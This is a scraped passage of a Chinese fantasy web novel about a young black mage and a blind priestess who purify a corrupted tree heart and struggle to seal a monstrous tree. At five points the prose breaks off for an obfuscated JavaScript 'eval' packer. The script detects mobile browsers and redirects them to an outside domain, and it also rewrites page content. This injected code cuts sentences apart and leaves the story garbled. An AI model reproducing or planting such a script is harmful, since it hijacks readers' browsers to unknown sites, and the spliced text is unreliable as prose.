“嗯……其实,我还是很在意……”芭布拉踢飞一颗正好就在她脚下的石子,“到底发生了什么?” “我也很想知道。” 于是芭布拉终于下定决心:“那,那我去教会找麦亚安!” * 黑法师被消灭的那一年,芭布拉从南方一路躲到北方,又小心翼翼地从北方回来。她几乎就是跟着教会扩张的步伐一路南下的,亲眼见证了正义教会的崛起。 正义教会信仰的是正义女神裴洛斯,最开始芭布拉还完全不知道这一群穿得像是逃荒的难民居然是一队传教的宗教队伍,他们还热情地邀请她同行,那位和善的修女麦亚安最终引导她留在了这个平静的小镇。 虽然他们不像那帮光明信徒一样口灿莲花,但有事他们是真上啊!正义教会从最基础的修士和修女开始,就都是能提刀拉弓的战士,再进阶一级便是神官,能够获得裴洛斯女神的神术,践行女神的意志。 芭布拉曾经见过珈乐神官使用神术,从天而降的明亮雷光瞬间洞穿了那只杀害了数十位村民的可怖魔兽。 而更上一层的持剑神官,据说整个教会也只有十二位,他们手中的神剑都受过女神的赐福,别的不敢说,起码一人能打五个光明教会的红衣大主教(麦亚安语),不过芭布拉还没有见过这等人物。 在这种被光明教会所忽视的偏僻角落,是正义教会的修士和修女守护着手无寸铁的村民,他们就像一阵风沙,悄无声息地渗透到了每一处角落。 关于黑森林中出现魔物的情报正是麦亚安之前向芭布拉透露的,当时谁都没有把小小的魔物放在心上,没想到在这小小的村落里居然还出现了另外一个神祇的气息,还有谁能比信徒们知道更多信息呢? 由于布莱多恩的强烈要求,芭布拉只好再次将骷髅头塞进了自己的小布包里,目送那具没有头的骨架摸索着踏上回家的路。 她则带着他的头(?)前往那座小小的正义教堂,它孤独地坐落于村外的荒滩上。乍看上去只是一座简朴的木屋,唯独屋顶矗立着一只金色天平,纤细而尖锐的中轴看似摇摇欲坠,但最终总能将两端摇晃的托盘保持在平衡的位置上。 整座教堂只有两位信徒,一个是她熟识的修女麦亚安,另一位则是神官珈乐。珈乐神官十分温和,就算看出了芭布拉是黑魔法师也没有出手,但芭布拉见到她总觉得有点害怕,有点像调皮捣蛋的孩子见到家里最威严的奶奶,不敢乱动。 当她敲响教堂的窄门时,门内传来了一声恬静的低语。 “请进门来,亲爱的孩子。” 她推开门,一个满头白发的女人正抬起眼来看向她,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810480|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中只有一片浑浊的白,那便是珈乐神官。她正在天平下悼念,曳地的灰白教袍上绘有金色天平的纹路,代表着她是神官中的制衡神官,选择了平衡之道。 “珈乐神官,日安。” “日安。”她伸出食指,在自己肩膀两侧虚点两下。 只有持剑神官才有资格侍奉正义女神的神像,又或者说,只有拥有正义女神神像的教堂才能够选出持剑神官。 于是侍奉在教堂正中的是一只与屋顶天平相差无几的金色天平,而在大厅四周,镂空的窗格中同样放置着更小巧的银白色天平,每当有风吹过,天平就会轻轻地摇晃。 进入到教堂中,芭布拉刚才忐忑的心情也消失了。 “我来这里是有一件事想要询问您,前不久麦亚安修女告知我黑森林中出现了伤人的魔物,但我昨天却遇到了……降神。” 教堂四周的天平忽然晃动起来。 “降神……还真是一个久远的名词。请坐,我的孩子,不必惊慌,慢慢讲述你的经历。正义仍在。” 芭布拉描述了自己在洞穴里的经历,当然她隐去了布莱多恩的部分,只是说自己身上带着一件与恩师联系甚密的道具。 “是吗?我还以为祂应该会不喜欢黑魔法师呢。” “祂?” “当然是现在的春神了……啊,等等,”珈乐神官扬起眉毛,“我记得,你的导师,是……镇上的那位吧?” 芭布拉点点头,然后她眼睁睁地看着如同陶瓷般沉静的神官,居然弯了弯嘴唇,笑了一下。 “原来如此。” 芭布拉内心一片惊恐的“啊啊啊啊啊啊啊”飘过,那个神官,居然笑了!就是可惜麦亚安居然不在现场! “也许你们魔法师不怎么关注,不过我可以很肯定地告诉你,春神至少迭代了两次,现在的春神已经不再是当初那位执掌繁荣与枯败的大神了……”珈乐神官叹了口气,“而你遇到的,应该就是在迷失时代最出名的春神,只有祂才会回应黑魔法师。” “等、等下,迭代是什么?意思是指,现在存在着不止一个春神吗?” 芭布拉满脸茫然。 “我的孩子,有些问题是没有答案的,”她摇了摇头,“但正义的信徒有她的衡量方式,我认为的确有可能同时存在数位执掌相同职能的神祇,但祂们不一定都还清醒。” “啊,您是说,‘梦呓’?” 芭布拉确实有在书籍中听说过,在迷失时代,也有会被证实已经陨落的神祇回应了信徒的祈求,学者们称这种回应为“梦呓”。 神的陨落并非与人的死亡相等同,现行的神灵学说主流认为,神灵的常态是沉眠,而祂在清醒的那一瞬间,注视到了信徒并做出了回应,这就是神的诞生。 神仍会睡去,神灵与信徒的联系终究会断开,于是祂“陨落”。 但如果祂在沉眠中,也许是由于力量的爆发,又或许是因为机缘巧合,总之祂突然回应了信徒的祈求,这被认为是神灵的“梦呓”。 “不错,是‘梦呓’,持续了七百年的梦呓啊……”珈乐神官呢喃着芭布拉听不清的细语,直到她忽然惊醒。 “抱歉,我的孩子,我回忆起了一些过去的景象。”珈乐神官摇了摇头,缓缓站直身体,“你说你在黑松林发现了降神,不知道你是否有空带我过去看看呢?” “当、当然!” 15. 1-15 树心 尽管芭布拉在晚上也能清晰地视物,但当阳光从叶隙间洒落,驱散了森林中的阴暗时,她感到了一种莫名的平静。 珈乐神官眼不能视,出行需要借助一柄陈旧的拐杖。芭布拉本来想搀扶着她,但这位瘦小的老妇人拒绝了。 “我还没有老到需要让人搀扶呢,我的孩子。” 有时候芭布拉会觉得她什么都知道,只是她时常保持沉默。 脚下的落叶发出“吱呀”的声响,这座幽深的树林不动声色地提醒着她们的到来。 “森林,很安静。” 珈乐神官缓慢地跟着芭布拉前行,拐杖在地上留下一串圆圆的脚印。 “也许麦亚安有告诉你,自从那次异样的天象之后,黑森林的活动忽然变得十分频繁,我们也尝试深入森林找出它的源头,但都无功而返。” “有、有吗?”芭布拉心虚地停顿了一下,“不过今天真的很安静……” 她仰起头,视线从头顶茂密的树叶间掠过。 隐藏在暗处伺机待发的猎手不在。 也许是因为阳光正好。 珈乐神官的话又将她的注意力拉了回来。 “它也并非一直都如此危机四伏……在我还很小的时候,黑松林还没有被称为‘黑松林’的时候,行走在灌木丛中的还是富有灵性的小动物……” “就像恶人也有善心?” “这不一样,我的孩子。”珈乐神官摇了摇头,嘴角微微扬起了一个微笑,“人本身就拥有善恶两面,但森林却是纯粹的,它从不声张它的怒火。” “——直到春神之争。” 芭布拉并不清楚那段历史,于是珈乐神官轻声地讲述起那些仅流传于信徒之间的隐秘历史。 很久以前春神还是从自然间生长的自然神,但后来却出现了另外一尊同为“春神”的神祇。祂们的信徒彼此争斗,相互指责,最终后者获得了这场战争的胜利,失去前者的神力,许多森林一夜之间充满了谜团一样的黑雾,从中孕育而出的邪恶生物被归入了魔兽之列。 不过对于黑法师来说,无论是死去的神祇还是堕落的神力,只要能够使用就是好能源。 为什么祂们就非得打架不成呢?春神之后,因神战而陨落的神祇也不在少数。 珈乐神官没有解释。 两人对话间,不知不觉就来到了昨晚那棵巨树前,此时它就像一棵普通的大树一般,在风中缓缓舒展着自己的叶子。 看到它,芭布拉才恍然大悟为何自己一直隐隐感觉到违和。 因为平常围绕在黑森林中的黑雾居然散开了,只有眼前的巨树身上还若有若无地缠绕着一些黑色的雾气。 保险起见,珈乐神官拿出了她的天平。 银白色的小巧天平矗立在她的掌心,两侧的托盘缓缓地上下浮动。 忽然,那只天平对着某个方向往下一沉,顺着它指的方向过去,正好就是通往下面石洞的入口。 “确实有一些残留的魔物气息……” 芭布拉还是第一次见到制衡派的神术,她睁大眼睛盯着那只天平,试图从中发现出些许不同。 “走吧,我们到下面去。” 石洞里原本被植物藤蔓包裹的石壁此时已经不见藤蔓踪迹,但墙壁上还残留着因为植物生长挤压造成的断面,阳光从洞口斜射而下,显得这个石洞越发空荡。 她没发现有什么异样,但一瞥天平,托盘仍然保持着往下。 “看来你们昨天还在这里打了一架,你没有受伤吧,我的孩子?” 芭布拉眨了眨眼:“您怎么知道的?!我倒是没什么事,但是……” 两人沿着天平的指示继续前进,一路上风平浪静,寂静得可怕。 最终她们在石洞的尽头发现了一个跳动着的绿色心脏和一截已经枯萎了的干硬藤蔓,黑雾围绕着树心,如同保护婴儿的襁褓,只是此时黑雾已经不再浓郁,就连那颗心脏也已经只剩下微弱的心跳。 “啊,是树心。”芭布拉惊喜地喊了一声。 树心是极为珍惜的材料,只有年代极为久远的树木才有可能在神力的激发下生长出树心来!但她马上又想到这个树心已经被黑雾所侵蚀,恐怕已经失去了大部分的神性。 “也是黑森林的黑雾之源。” 珈乐神官走了过去,她手中的天平似乎隐隐散发着银光,所到之处,黑雾纷纷变得透明消失。 她轻而易举地就拿起了那颗尤在跳动的心脏,仿佛知道自己的命运即将走到尽头,树心极力地收缩,泵出了更多的黑雾。 珈乐神官神色温柔,手上的动作却很强硬,剥开缠绕在树心上的黑雾,黑雾在她手上毫无反抗之力。 一旁围观的芭布拉忍不住打了个寒战。 怎么感觉这个时候的珈乐神官……比拿剑的时候还要可怕?! 很快树心恢复了澄净,在珈乐神官手中微微颤动。它散发出来的光芒是如此柔和,而它跳动的弧度又多像一只刚出壳的雏鸟,叫人看了便忍不住生出一股怜惜之情。 芭布拉忍不住多看了两眼,似乎有什么东西撞了一下她的肚子,但她的眼睛似乎离不开那颗纯粹的心脏…… “请不要细看,我的孩子,它会将你引入万劫不复的深渊。” 珈乐神官的提醒让芭布拉悚然一惊! 刚才她居然真的看着看着就着了迷! “……你好像特别合它的意呢,昨天晚上也是它引领你来到这里的吧。” 芭布拉连连点头。 “别怕,我的孩子,”珈乐神官轻声细语地安慰她,“她无法再诱惑你了。” 珈乐神官将树心放到了上升的托盘之上,随着树心的跳动,失衡的托盘居然开始回升,回到了平衡的状态。 “这、这是恢复正常了吗?” “暂时,”神官摇了摇头,“自从我来到这个小镇,就在研究黑森林出现了什么问题,可惜至今为止,我也只能够看出是有神祗的力量在影响,具体的症结还需要总会的人下判断。” “——不过,处理了这一颗树心之后应该能够维持很长一段时间的稳定吧,还要感谢你发现了树心,不然总会的人可能还不会相信我说的话。” 珈乐神官毫不遮掩的夸奖让芭布拉羞红了脸。 “珈乐神官!太夸张了!!” “如果不是您为我说话的话,我可能已经被白塔的人赶走了!是您让我在这里能够名正言顺地生活下去啊!” “你是个好孩子,无论你是黑法师还是什么,你都不会伤害别人……”她握紧手中的天平,“是这个世界没有给人们选择的机会,如果不借助神祗的力量的话,就连最基础的正义都无法实现……” “所以才能显现出正义的可贵呀,正是因为有人愿意为了维持正义而努力,事情才不会变得更糟!” “就比如我导师曾经说过——唔哦!” 芭布拉话说到一半,突然肚子上又遭到了一记重击,阻止了她的下一句话。 “你的导师?就是那个很有名的黑法师?他的名字就连我也有耳闻呢……”珈乐神官停顿片刻,“人和人的差距也是确实存在的呢。” 芭布拉没有听懂这微妙的一句话,她正紧紧地按住腰间小布包里的捣蛋鬼。她可不敢再加入神官面前传音,只能傻乎乎地跟着她往外走,好在神官似乎也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810481|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有注意到她的异常。 没走两步,就好像有什么勾了勾她的脚踝,她低头一看,是那一截藤蔓。 不知道为什么,尽管昨晚跟藤蔓打了一架,但看到它被树心吸干了所有生命力的模样,她的内心还是泛起了一股同情。 “好吧,好吧,”她弯下腰将它捡起来,“反正我是黑法师,也不介意自己的收藏里多一点奇奇怪怪的东西。” 珈乐神官沉默地看着她的动作,并未阻止。 “珈乐神官,您不阻止我吗?” “不,它已经付出了代价。” “代价?”芭布拉大惑不解,“什么代价?!珈乐神官,你说谜语的样子很像是命运女神的信徒……” “当然,神谕无法用人类的语言传达,”珈乐神官在看到芭布拉迷惑的小表情以后又是抿唇一笑,“我的孩子,也许你还有别的困惑。” 困惑?是的。 从离开杂货店开始,她脑海中就在思考一个问题。 “珈乐神官,你觉得……我留在村子里有带来更好的改变吗?” 神官讶然:“当然有,刚刚你不就带我发现了树心吗?” “可是……” 她没好意思把刚才看见的梦说出来,但神官似乎明白了什么。 “啊,我的孩子,误解在所难免。” “你认为,我们的苦修是因为苦修更能接近神祇吗?不,不是的,我的孩子。” “一方面信徒当然要全身心地信奉神祇,另一方面也是因为我们在人群中已经成为了异类。他们恐惧着信徒所拥有的力量,但又不能够离开神祗的庇护。”珈乐神官手中的天平轻轻地晃动,闪烁出一片美丽的金属光辉,“法师和教会不合这么多年,唯有面对普通人类时意见一致——那就是避而同之。” “避开他,原谅他,但又要像拥护你的神祇一样爱护他。” “是……这样的吗?” “这是最主要的原因。” “还有别的原因?” “有啊,比如因为我们没钱,所以只能苦修。” …… 同样没钱的芭布拉留下了痛苦的泪水。 * “……你说你看到了春神?” 庞丁差点把饭碗打翻:“你怎么会看到那个家伙啊!” 然后再听到芭布拉对抗祂的那一系列事迹之后,它怀着复杂的心情躲到了桌子底下,怎么叫也不出来。 “庞丁,你难道知道什么吗?!” “春神啊!就是那个□□□……!” 刚刚才把头装回自己的骨架上的布莱多恩凉凉地来了一句:“好了好了,别说你那个带口音的深渊语了。春神嘛,用通用语来念就是恩纳泰雅嘛。” “啊啊啊啊啊啊啊啊啊我不要听到那个名字我听到那个名字就会死!” 庞丁在桌底打滚,似乎只要他的声音够大就能够忘记刚才听到的那个名字。 “春神的名字,是叫做恩纳泰雅吗?” “是啊,你当初入门的时——” 布莱多恩的下半句话卡在了喉咙里,假设骷髅也是用喉咙说的话。 他看见芭布拉原本就有及腰长的浓密头发此时居然还在增长,棕色的头发逐渐接触到了地面,甚至还在继续蔓延。 芭布拉也注意到了这个变化,她大惊失色地抱起自己的头发,一边跳脚,一边大声请求它不要再长了。 “呜呜我会变笨的啦!亲爱的恩纳泰雅女神——” 布莱多恩吃惊地看到它似乎真的起效了。 “你……你再念一遍?” 然后她的头发开出了白色的小花。 17. 大人请看! “亲爱的,你来评评理!”麦亚安的食指狠狠地往白法师的方向戳去,“这个!这个为老不尊的坏老头居然想要白嫖我们教会好不容易才得来的情报!!他们白塔可从来没有把我们正义教会放在眼里过!现在转头就想要分享?没门!” 奥兰纳斯露出一个无奈的笑,就连叹气摇头的幅度都显得优雅不已,芭布拉看了一眼就觉得眼睛太痛了赶紧转过了头。 “修女小姐,你说的事情我可从来都没有参与过……当然,你不愿意的话,我也不会逼迫你。” 说完以后,他的目光似乎就放到了麦亚安身上。 麦亚安下意识地低下头,和芭布拉紧张的目光对了个正着。 “对啊,话说回来,芭布拉你怎么突然来了?” 芭布拉迟疑,忐忑,瑟瑟发抖。 【你在等什么!】布包里的布莱多恩终于忍不住了。 【呜呜呜我不敢说,我一定会被当成奇怪的人抓起来挂在树上的呜呜呜呜呜。】 说不定还会被埋进地里,等到春天才能发芽。 就算发了芽也不会有蝴蝶或者蜜蜂来给她传粉,因为她已经尝过了,这花里没有蜜!也没有粉! 旁边的树根会抢走她的营养,附近的灌木会用刺来限制她的生长。 这一切都是因为今天她的头上莫名其妙地长出了小花! 布莱多恩不知道她在沉默中构想出了一整幕戏剧,但他知道这孩子顺毛撸的时候就很别扭,但你一逆着撸她就胆战心惊地接受了。 【你都敢告诉他们你是黑法师了,还不敢告诉她们你头上长花吗!!】 果然,芭布拉瑟缩了一下之后,满脸坚毅地下定决心。 “我、我过来是因为……” 她解开头巾,头上的小花就一朵又一朵地弹了出来,就好像雨后一个个破土而出的小蘑菇。 沉默片刻后,麦亚安双手捧腮发出了尖叫:“呀——” 芭布拉慌忙解释:“不不不这个东西不是我本来就有的,可能是因为这几天我接触了……” “我受不了了!芭布拉你要把我可爱死吗!!” “……啊?” “芭布拉给我摘一朵花吧,我一定会好好珍藏的!” “不,哎?可是还不知道这个东西是什么,万一对你有不好的影响……” 麦亚安已经伸出了手,她挑了一朵最为生机勃勃的小白花,指甲一掐,花就落到了她手中。 “噫——!” 又是那种不寒而栗的感觉,芭布拉吓得又把头巾给盖了回去。 珈乐神官:咳咳。 只是一朵来历不明的花而已。 芭布拉当然不是一个小气的法师。 但眼睁睁地看着它是从自己身上摘下来就另当别论了! 她第一次对自来熟的麦亚安升起了警惕之心,三步并作两步地移动到了唯一靠谱的珈乐神官背后。 “啊!神官你好狡猾!” 珈乐神官对麦亚安的抱怨充耳不闻,而是睁开了半闭的双眼,示意芭布拉放低头发。 芭布拉乖巧地蹲了下来,还双手呈上两条麻花辫。 大人请看jpg 珈乐轻轻解开了她的辫子,头发散开,那些小花也仿佛装了弹簧一样往人鼻子底下蹦,叽叽喳喳地问你:我香不香?这香浓不浓?喜不喜欢? 让人第一眼就能感受到那股蓬勃的生命力。 “这个神力的痕迹……好吧,原本我并不愿意让你接触到这些事情,但似乎目前看起来你很受那位的青睐呢,呵呵。” “那位?” “青睐?!!” 珈乐神官没有被一惊一乍的修女和想要加入话题的白法师所影响,而是顺手摸了摸芭布拉的发顶。 “我已经将黑松林的情况上报给了总教会,那边很重视这个情报,决定派遣一位持剑神官过来,在此之前,我们必须保证黑松林中的某些‘存在’不会逸散出去。” 柔嫩的花瓣从她指缝间穿过,珈乐神官克制地触碰了一下便收回手。 “孩子,如果……影响你的‘存在’真的和黑松林中的‘存在’同出一源的话,那么它们也会被一起封印住。” 她说到某些存在的时候明显重读了,噫,这种语气上次听到还是珈乐神官使用神术干掉一只混入村子里罪行累累的魔兽。 “持剑神官?啧,又是哪一位……” 珈乐神官扫了麦亚安一眼,打断了她的抱怨:“麦亚安,该出发了。” “……是,神官。” 珈乐神官让她加入到他们的队伍里来,芭布拉左右看了看,也跟了上去。 一转眼,奥兰纳斯正在她身后,脸上带着恰到好处的关切。 “上次会面时芭布拉女士你看上去还十分健康呢,是最近遭遇了什么?” 吓得芭布拉瞳孔地震,但好歹克制住了自己立刻抱头蹲下的冲动。 见她没有回应,奥兰纳斯也没有气馁,而是又换了一个问题。 “这几天我都没有收到女士的信件……是还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810483|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考虑吗?” 芭布拉:“噫——这个、这个说来话长……” 毕竟,请的邮差小姐把想要寄出去的信卷跑了,跑出去追信(主要是收集骨头)的时候正好撞见了藤蔓行凶这种事情,就算说出去了大概也只会被人当成是婉拒的推辞吧,还是很不耐烦敷衍的那种。 但奥兰纳斯信了。 他还眨了眨眼,那双钴蓝色的眼里仿佛也有破碎的光芒闪烁。 “啊,经过这么复杂的曲折,最终您还是来到我面前了,说不定还真的是命运的指引呢。” 芭布拉:“不不不这只是巧合请您不要对着我笑了!” 奥兰纳斯:“那么您是愿意答应我了吗?” 芭布拉大为震撼,尽管她早就和老师商量好了,但是、但是为什么面对着他期盼的眼神芭布拉却感到一阵头皮发麻呢! 一旁的麦亚安看不下去了,冲到两人中间:“什么啊!!!你也不看看自己多少岁了怎么敢在我面前骗小女孩的啊!你怎么敢的啊!!!” 布包里的布莱多恩也在生气:【什么啊!明明是要去我家偷东西怎么说得这么光明正大啊!你怎么敢的啊!】 “奥兰纳斯大法师,请您稍微把话说明白一点啊!” “哎?我是在邀请你和我一起去黑法师的法师塔啊。”奥兰纳斯没有意识到自己说出了什么样的话,表现得就跟他和别人讨论天气一样自然,“芭布拉女士也仍然还在研究黑魔法吧?啊,没关系,我并不反对黑魔法。法师塔里面关于布莱多恩的东西可以全部都给你,我只要取走其中几样。如果你希望继承这座法师塔的话,我也可以为你提供力所能及的帮助。” 芭布拉眼睛一亮。 这个可以!那可是法师塔啊! 虽然老师看上去好像很莽的样子,但实际上他每座法师塔都很用心地修了,用最好的材料,刻最强的法阵,造最强的守塔魔像! 如果她能够收回来,再把塔给老师也是很不错的。 原来、原来不立刻答应,白法师还会继续往上加筹码的啊! 于是她没说话,保持了神秘的沉默。 麦亚安打量了一圈奥兰纳斯,她可不相信这个看上去纯洁无瑕的白法师。 “着急了?黑法师的法师塔也想去了?” 奥兰纳斯:“教会的立场,跟我们是一样的。” “……”麦亚安冷笑,“只是那帮老不死的害怕罢了。” 芭布拉:虽然听不懂他们在说什么但是我还是要装作听懂了点点头jpg 18. 制衡与义剑 封印黑松林好像工作量很大,实际上对于正义教会来说倒是他们的业务范围。 正义女神的天平同样也象征着平衡和秩序,他们的神术里就自带封印的属性。 对于破坏平衡和秩序的人嘛…… 女神还有另一只手拿着剑呢。 芭布拉好奇地看着神官取出了她的天平。 小巧的天平在她掌中立起,左右两侧的托盘里什么也没有,但它一出现就在上下浮动,直到两端停在了一个微妙的位置,勉强维持住稳定的状态。 珈乐神官神色一凛,手掌翻转,天平也随之落在了地面上。 从天平中折射出了许多虚幻的虚影,它们首尾相连,沿着黑松林的边界往前延伸,瞬息之间就看不见它的尽头。 芭布拉很喜欢这种看上去亮晶晶又很好看的神术,而且神术跟魔法不同,使用神术唯一的要求就是虔诚的信念,只要神明愿意,就算你吟诵的经赞错漏百出,就算你献上的祭品一文不值,奇迹仍然会出现在你眼前。 小时候她还想过,要是老师能够成为神明就好了。 “珈乐神官——” 麦亚安忽然大喊! 接下来的话她没来得及说出口,所有人都看到了森林上空突然出现了一轮墨绿的太阳。 一棵几乎可以遮天蔽日的巨树正在急速地生长。 它不甘地挣扎,向着天空、向着四周伸出粗粝的手指,其中最粗壮的那一部分朝着天平之环席卷而来,树皮被撕裂,又迅速覆盖上新的一层,如同巨蟒盘行。 远在天边的时候还看不出什么端倪,但很快它就以肉眼可见的速度占据了视线可及的范围,仅仅只是最外围的分枝也比在场所有人都要大得多。 “那是什么?!” 树枝压过来的时候甚至还伴随着大地开裂的声音。 天平面向巨树的一端仿佛承载了某种重物,往那一边倾倒。 “哇啊啊啊——” 芭布拉情不自禁地用声音为小小的天平加油,而布莱多恩在布包里发出疑惑的声音。 【啊?你喊什么啊?】 鼓噪的气流将神官的披肩掀起,但珈乐神官纯白的眼里没有一丝波澜,仿佛眼前迫近的巨树于她不过一场幻觉。 “麦亚安,义剑!” “是!” 麦亚安修女沉稳应下,她闭上眼睛,双手向上,随着她的悼词,她双手中逐渐凝聚了无数薄如蝉翼的光辉。 光在她手中汇聚成一柄灿若烈阳的长剑,又好像洁白无瑕的月光,没有掺杂一丝杂质。 女神手中的义剑来源于世人对于正义的构建与渴望。对于信徒来说,真正的正义就像女神手中的义剑那般纯粹而又遥不可及。 麦亚安手中的剑在巨树面前渺小如针,却坚定地对准了面前的巨树。 虬结的枝条瞬间膨胀,炸出无数新生的枝桠,这庞然巨物在震怒,卑微如蝼蚁竟也敢向自己挥舞爪牙! 她立即挥下这一剑。 一开始只是一线极其细微的光,很快蛛网般的缝隙便逐渐蔓延到了相邻的树枝上,暴露出内里的木质。 随着令人牙酸的嘎吱嘎吱声,他们面前的枝干四分五裂,可紧接着更粗壮的部分破土而出。 新生的树枝边缘似乎生出了荆棘的刺,枝叶间鼓起了类似花苞的瘤包。 尽管此时它仍然还是树干的模样,但芭布拉还是立刻联想到了蔷薇与荆棘。 它蓄势待发,然后一头撞上了透明的屏障。 不知不觉中,珈乐神官的天平虚影竟然投射到了空中,层层叠叠的天平犹如一道连着一道的锁扣。 “制衡与义剑。”奥兰纳斯感叹了一句。 封印成功了? 芭布拉此时却注意到树枝上的瘤包似乎变大了一点? 还没等她提醒众人,那些瘤包就纷纷开裂,从中炸开了无数细碎的木屑。 那些木屑纷纷扬扬地飘散,居然脱离了天平所划分的区域。芭布拉头上的小花立刻缩了回去,恢复成了平平无奇的头发。 芭布拉后退一步,这些木屑也跟着往后扬起,芭布拉再往侧面移动,它们也跟着飘了过去。 ……这怎么看都很不对劲啊! 芭布拉下意识地就扔了一个风旋魔法。 很简单也很好用的初级魔法,特别在打扫卫生的时候,只需要输出一点点魔力就能带动那些活泼的风元素转起圈圈,灰尘自然也就跟着一起消失得一干二净。 可怜的孩子,她忘记了自己的奇妙体质。 或者说就算她意识到了,也很难阻止这一切的发生。 这个普通的小旋风,因为带动了两种截然不同的神力而变得不再普通。 因为相斥的神力相互作用,又因为风元素的不停旋转,它越转越快,越转越大,气势汹汹地抽取着四周的风元素和充斥在神术与巨木中的神力,最终居然有了龙卷风的雏形。 麦亚安看着这个恐怖的龙卷风呆住了,她转头看向珈乐神官,神官正茫然地放下天平,她的神术已经失控了,天平虚影像是水面破碎的光影交相闪烁。 奥兰纳斯满头银发在风中卷动,整个人看上去难得有些凌乱。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810484|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样也在凝视那道龙卷风,身为大魔导当然更能理解方才发生了什么…… 等等,不对,他不理解,他不理解啊! 为什么?究竟是为什么呢?为什么最普通、最基础的初级魔法,会引发神力的连锁反应? 这旋风声势浩大,但除了位于中心的巨木,它对于其他人的影响也仅限于吹乱头发,所以在场人暂时并没有阻止的打算。 麦亚安的眼神一下变得犀利起来:“芭布拉,你……” “我只是用了一个风旋魔法!” “哦,风旋魔法啊,”麦亚安点点头,“这是什么禁咒吗?” 芭布拉默默看着她。 这是最基础的元素魔法,麦亚安当然也听说过,她只是不敢置信。 “那什么时候它才结束?” 芭布拉继续默默地看着她。 麦亚安懂了。 “神官,要不我再砍一刀?” “大贤者在这里,不如先听一听他的想法。” 奥兰纳斯礼貌地点点头,将乱飘的头发捋到耳后,当着大家的面用魔法把自己的发型固定在最完美的状态。 “神官,我认为在旋风停止前最好不要轻举乱动。虽然发生了一些无法理解的情况,就目前来说,现下两股互不相容的神力被风元素糅合在一起,用以维系其旋转的动力就是来源于巨木当中的神力……” “所以它不可能一直无休止地旋转下去,要么因神力不足而旋风消失,要么旋风无法容纳剩余的神力而崩溃。” “大贤者说得很有道理,”珈乐神官敲了敲拐杖,“出剑,麦亚安。” 奥兰纳斯:? “抱歉大贤者,您能够坐视不管,但教会不行。” 神官早已年迈,她目不能视,内心却比大部分人都要敞亮。 教会在乎的难道会是一个早已陨落的神明?白塔的大贤者在乎的难道真的只是一个死去多年的黑法师? 她驻守在此,必须要留下线索。 麦亚安再次举起手,辉光在她手中凝聚。 然而在凝聚的同时,旋转中的旋风也在吸取,光芒像是滴入水中的墨扩散,直至消失不见。 麦亚安无法凝聚出稳定的剑,她干脆用力一握拳,捏碎了手中的光芒,散落成星罗棋布的光点。 她猛一挥手,那些光点瞬间拉长,一道道闪着辉光的长剑迎着龙卷风直冲而去。 那瞬间,长剑斩断强风,烈风碾碎流星,神明的力量追逐厮杀,不分上下。 于是,真正璀璨的星辰于天空中睁开了星星点点的眼睛。 19. 三人的约定 布莱多恩从布包里探出冒着绿火的眼眶时只看见外面一片漆黑。 还没来得及多看两眼,就被芭布拉一把塞回了布包深处。 在她们面前,像凭空出现的瀑布,又像是一阵可以看见的风,冥河悄然降临。 暗淡的星将闪烁的辉光吞没,某种深邃的颜色无声地蔓延,从伸入云间的部分迅速地向下倾泻。 在冥河的冲刷下,这道旋风几乎没有任何抵抗地消散了。 一切喧嚣忽然停止了。树叶凋零,枝条干瘪,就连枝头一点绿色也消失不见。 也是因为这突如其来的变故,没人注意到芭布拉的小动作。 “冥河已在短短几天之内多次出现在现世。” 神官没有说出接下来的话,但她手中又出现了起起伏伏的天平。 心虚的芭布拉左右看了看,发现大家的表情都很严肃。 她小心翼翼地打破了这片异样的沉默:“冥河……不就是连接着现世和费安莱蒂的通道吗?它,它本来就一直存在于现世的呀?” “芭布拉果然还是黑法师呢。冥河作为费安莱蒂的延续,无论在神学上还是在魔法上,都有着很重要的象征意义。 